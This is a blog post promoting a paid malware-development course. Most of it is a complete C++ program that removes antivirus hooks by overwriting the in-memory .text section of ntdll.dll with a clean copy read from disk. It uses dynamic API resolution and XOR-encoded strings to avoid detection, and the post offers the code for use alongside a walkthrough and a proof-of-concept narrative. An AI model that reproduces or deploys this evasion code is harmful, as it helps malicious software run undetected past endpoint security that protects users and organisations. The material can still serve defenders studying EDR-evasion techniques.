Unhook Antivirus Hooks

S12 - H4CK
7 min readJan 30, 2024

--

Hey fellow tech enthusiasts! 👋 Welcome to my latest article where we’re diving into the world of breaking free from those pesky antivirus hooks. Today, I’ll spill the beans on a technique that lets you unleash the full power of your processes without any interference.

And if you want to learn the basics about Windows Malware Development you have my Introduction course available from $15.

*Send a email for crypto payments: s12deff@gmail.com *

Introduction

Picture this: You’re all set to run your code, and bam! Antivirus hooks throwing a wrench in your plans. Frustrating, right? Well, not anymore. I’ve got a slick method to unhook all those sneaky little things and let your functions run wild and free.

So, what’s the secret sauce? We’re taking a stroll through the magical world of ntdll.dll. Yep, you heard it right. We’re overwriting that bad boy with a fresh, clean copy — no antivirus hooks allowed. Think of it like swapping out your worn-out sneakers for a brand new pair. We’re replacing the hooked NTDLL with a pristine version, free from any meddling in the critical functions.

In a nutshell, we’re giving your code the freedom it deserves. No more shackles, just smooth execution of all the functions you’ve cooked up.

Ready to break through the barriers? Let’s dive into the details and unleash your code with this unhooking wizardry. Stick around, and let’s make those antivirus hooks a thing of the past! 🚀

Code

#include <winternl.h>
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string>
#include <string.h>
#include <iostream>

using namespace std;

unsigned char key[] = { 0xc0, 0xa6, 0x8b, 0x1b, 0x59, 0x92, 0xcf, 0x6b, 0xef, 0x96, 0xe7, 0xd7, 0x33, 0x65, 0xda, 0x84 };

typedef BOOL(WINAPI* VirtualProtect_t)(LPVOID, SIZE_T, DWORD, PDWORD);
typedef HANDLE(WINAPI* CreateFileMappingA_t)(HANDLE, LPSECURITY_ATTRIBUTES, DWORD, DWORD, DWORD, LPCSTR);
typedef LPVOID(WINAPI* MapViewOfFile_t)(HANDLE, DWORD, DWORD, DWORD, SIZE_T);
typedef BOOL(WINAPI* UnmapViewOfFile_t)(LPCVOID);

unsigned char sNtdll[] = { 'n', 't', 'd', 'l', 'l', '.', 'd', 'l', 'l', 0x0 };
wchar_t sNtdllW[] = { L'n', L't', L'd', L'l', L'l', L'.', L'd', L'l', L'l', 0x0 };
wchar_t sKernel32W[] = { L'k', L'e', L'r', L'n', L'e', L'l', L'3', L'2', L'.', L'd', L'l', L'l', 0x0 };

void XORcrypt(char str2xor[], size_t len, char key) {
int i;
for (i = 0; i < len; i++) {
str2xor[i] = (BYTE)str2xor[i] ^ key;
}
}

int UnhookNtdll(const HMODULE hNtdll, const LPVOID pMapping) {
DWORD oldprotect = 0;
PIMAGE_DOS_HEADER pImgDOSHead = (PIMAGE_DOS_HEADER)pMapping;
PIMAGE_NT_HEADERS pImgNTHead = (PIMAGE_NT_HEADERS)((DWORD_PTR)pMapping + pImgDOSHead->e_lfanew);
int i;
unsigned char sVirtualProtect[] = { 'V','i','r','t','u','a','l','P','r','o','t','e','c','t', 0x0 };
VirtualProtect_t VirtualProtect_p = (VirtualProtect_t)GetProcAddress(GetModuleHandle(sKernel32W), (LPCSTR)sVirtualProtect);

// find .text sectio
for (i = 0; i < pImgNTHead->FileHeader.NumberOfSections; i++) {
PIMAGE_SECTION_HEADER pImgSectionHead = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(pImgNTHead) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i));

if (!strcmp((char*)pImgSectionHead->Name, ".text")) {
// prepare ntdll.dll memory region for write permissions.
VirtualProtect_p((LPVOID)((DWORD_PTR)hNtdll + (DWORD_PTR)pImgSectionHead->VirtualAddress),pImgSectionHead->Misc.VirtualSize,PAGE_EXECUTE_READWRITE,&oldprotect);

// copy fresh .text section into ntdll memory
memcpy((LPVOID)((DWORD_PTR)hNtdll + (DWORD_PTR)pImgSectionHead->VirtualAddress),(LPVOID)((DWORD_PTR)pMapping + (DWORD_PTR)pImgSectionHead->VirtualAddress),pImgSectionHead->Misc.VirtualSize);

// restore original protection settings of ntdll memory
VirtualProtect_p((LPVOID)((DWORD_PTR)hNtdll + (DWORD_PTR)pImgSectionHead->VirtualAddress),
pImgSectionHead->Misc.VirtualSize,
oldprotect,
&oldprotect);
if (!oldprotect) {
return -1;
}
return 0;
}
}
return -1;
}


int main(void) {
int ret = 0;
int pid = 0;
HANDLE hProc = NULL;
unsigned char sNtdllPath[] = { 0x59, 0x0, 0x66, 0x4d, 0x53, 0x54, 0x5e, 0x55, 0x4d, 0x49, 0x66, 0x49, 0x43, 0x49, 0x4e, 0x5f, 0x57, 0x9, 0x8, 0x66, 0x54, 0x4e, 0x5e, 0x56, 0x56, 0x14, 0x5e, 0x56, 0x56, 0x3a };
wchar_t sNtdllPathW[] = { L'c', L':', L'\\', L'\\', L'w', L'i', L'n', L'd', L'o', L'w', L's', L'\\', L's', L'y', L's', L't', L'e', L'm', L'3', L'2', L'\\', L'n', L't', L'd', L'l', L'l', L'.', L'd', L'l', L'l', 0x0 };
unsigned char sCreateFileMappingA[] = { 'C','r','e','a','t','e','F','i','l','e','M','a','p','p','i','n','g','A', 0x0 };
unsigned char sMapViewOfFile[] = { 'M','a','p','V','i','e','w','O','f','F','i','l','e',0x0 };
unsigned char sUnmapViewOfFile[] = { 'U','n','m','a','p','V','i','e','w','O','f','F','i','l','e', 0x0 };

unsigned int sNtdllPath_len = sizeof(sNtdllPath);
unsigned int sNtdll_len = sizeof(sNtdll);

HANDLE hFile;
HANDLE hFileMapping;
LPVOID pMapping;

CreateFileMappingA_t CreateFileMappingA_p = (CreateFileMappingA_t)GetProcAddress(GetModuleHandle(sKernel32W), (LPCSTR)sCreateFileMappingA);
MapViewOfFile_t MapViewOfFile_p = (MapViewOfFile_t)GetProcAddress(GetModuleHandle(sKernel32W), (LPCSTR)sMapViewOfFile);
UnmapViewOfFile_t UnmapViewOfFile_p = (UnmapViewOfFile_t)GetProcAddress(GetModuleHandle(sKernel32W), (LPCSTR)sUnmapViewOfFile);

XORcrypt((char*)sNtdllPath, sNtdllPath_len, sNtdllPath[sNtdllPath_len - 1]);
hFile = CreateFile(sNtdllPathW, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
hFileMapping = CreateFileMappingA_p(hFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
pMapping = MapViewOfFile_p(hFileMapping, FILE_MAP_READ, 0, 0, 0);

cout << "Before Unhooking" << endl;
getchar();

// remove hooks
ret = UnhookNtdll(GetModuleHandle(sNtdllW), pMapping);
cout << "After Unhooking" << endl;
getchar();

return 0;
}

This C++ code seems to be focused on unhooking the NTDLL library functions in a process. Let me break down the key components and explain the main functionality:

  1. Header Files and Libraries:
  • The code includes various header files, such as <winternl.h>, <windows.h>, <stdio.h>, <stdlib.h>, <string>, and <iostream>.
  • It uses the Windows API for system-level operations.
  1. Function Declarations:
  • Function pointers for Windows API functions like VirtualProtect, CreateFileMappingA, MapViewOfFile, and UnmapViewOfFile are declared with custom type aliases.
  1. Encryption Key:
  • An encryption key (key[]) is defined. This key will be used for XOR encryption in the XORcrypt function.
  1. XORcrypt Function:
  • This function performs a simple XOR encryption on an input string (str2xor) using the provided key. It modifies the input string in-place.
  1. UnhookNtdll Function:
  • The main function responsible for unhooking the NTDLL library.
  • It takes the handle of the NTDLL module (hNtdll) and the mapped NTDLL memory (pMapping) as parameters.
  • It locates the .text section within the NTDLL module.
  • It then changes the memory protection of the NTDLL module, copies a fresh .text section into the NTDLL memory, and restores the original protection settings.
  1. Main Function
  • It declares variables, such as the process ID (pid), process handle (hProc), file handles, and pointers for file mapping operations.
  • Strings representing paths and function names are XOR-decrypted using the XORcrypt function.
  • File operations (CreateFile, CreateFileMappingA, MapViewOfFile) are used to open and map the NTDLL module into memory.
  • Before and after unhooking, the program pauses to allow the user to observe the state.
  1. Execution Flow:
  • The program opens the NTDLL file, creates a file mapping, and maps it into memory.
  • Before unhooking, it prints “Before Unhooking” and waits for user input.
  • The UnhookNtdll function is called to remove hooks.
  • After unhooking, it prints “After Unhooking” and waits for user input again.

Proof of Concept

Let’s execute and see the results of this code:

The code reach the first getchar(). It’s moment to see if the AV hooks are injected to the process.

We check the NtCreateThread function:

What are the normal syscall assembler instructions?

What this means?

The Antivirus have their hooks injected to my NtCreateThread function among others.

Let’s press a enter key to pass the getchar():

And let’s check the same instruction!

Now the NtCreateThread function have the normal behavior, and the unhook function is working properly!

Conclusions

In conclusion, we’ve embarked on a journey to liberate our code from the clutches of antivirus hooks, and the results are nothing short of exhilarating. By delving into the intricacies of the NTDLL library and employing a clever technique to overwrite it with a pristine version, we’ve successfully unshackled our processes.

The XOR encryption played a crucial role in obfuscating strings and ensuring the security of our method. The UnhookNtdll function emerged as the hero, dynamically manipulating memory protections and seamlessly replacing the hooked NTDLL sections, granting our code the freedom it deserves.

As we navigated through the code, executing each step with precision, the proof-of-concept demonstrated the effectiveness of our unhooking wizardry. The before-and-after snapshots revealed the removal of antivirus hooks, allowing critical functions to operate unhindered.

Remember, breaking through the barriers of antivirus interference requires a nuanced understanding of system-level operations. This article has equipped you with the knowledge to tackle such challenges, empowering you to ensure the smooth execution of your functions.

So, fellow tech enthusiasts, rejoice in the newfound freedom of your code! Let’s continue pushing boundaries and making those antivirus hooks a relic of the past. May your processes run wild and free, unhindered by unnecessary constraints. Happy coding! 🚀

Get ready to unlock the secrets of ethical malware development with our unique course. We’re taking a different path through the world of cybersecurity, and here’s why you should jump on board:

*Send a email for crypto payments: s12deff@gmail.com *

If you enjoy my content and would like to help me take this project to the next level, you can become a member by donating a monthly subscription. Your support will help me continue to create high-quality content. Thank you for your generosity!

If donating is not possible for you at this time, no problem at all! Your support in sharing my project and spreading the word is greatly appreciated. I will continue to create and share my work regardless, and I am grateful for your encouragement and interest.

Thanks to read this :)

S12.

--

--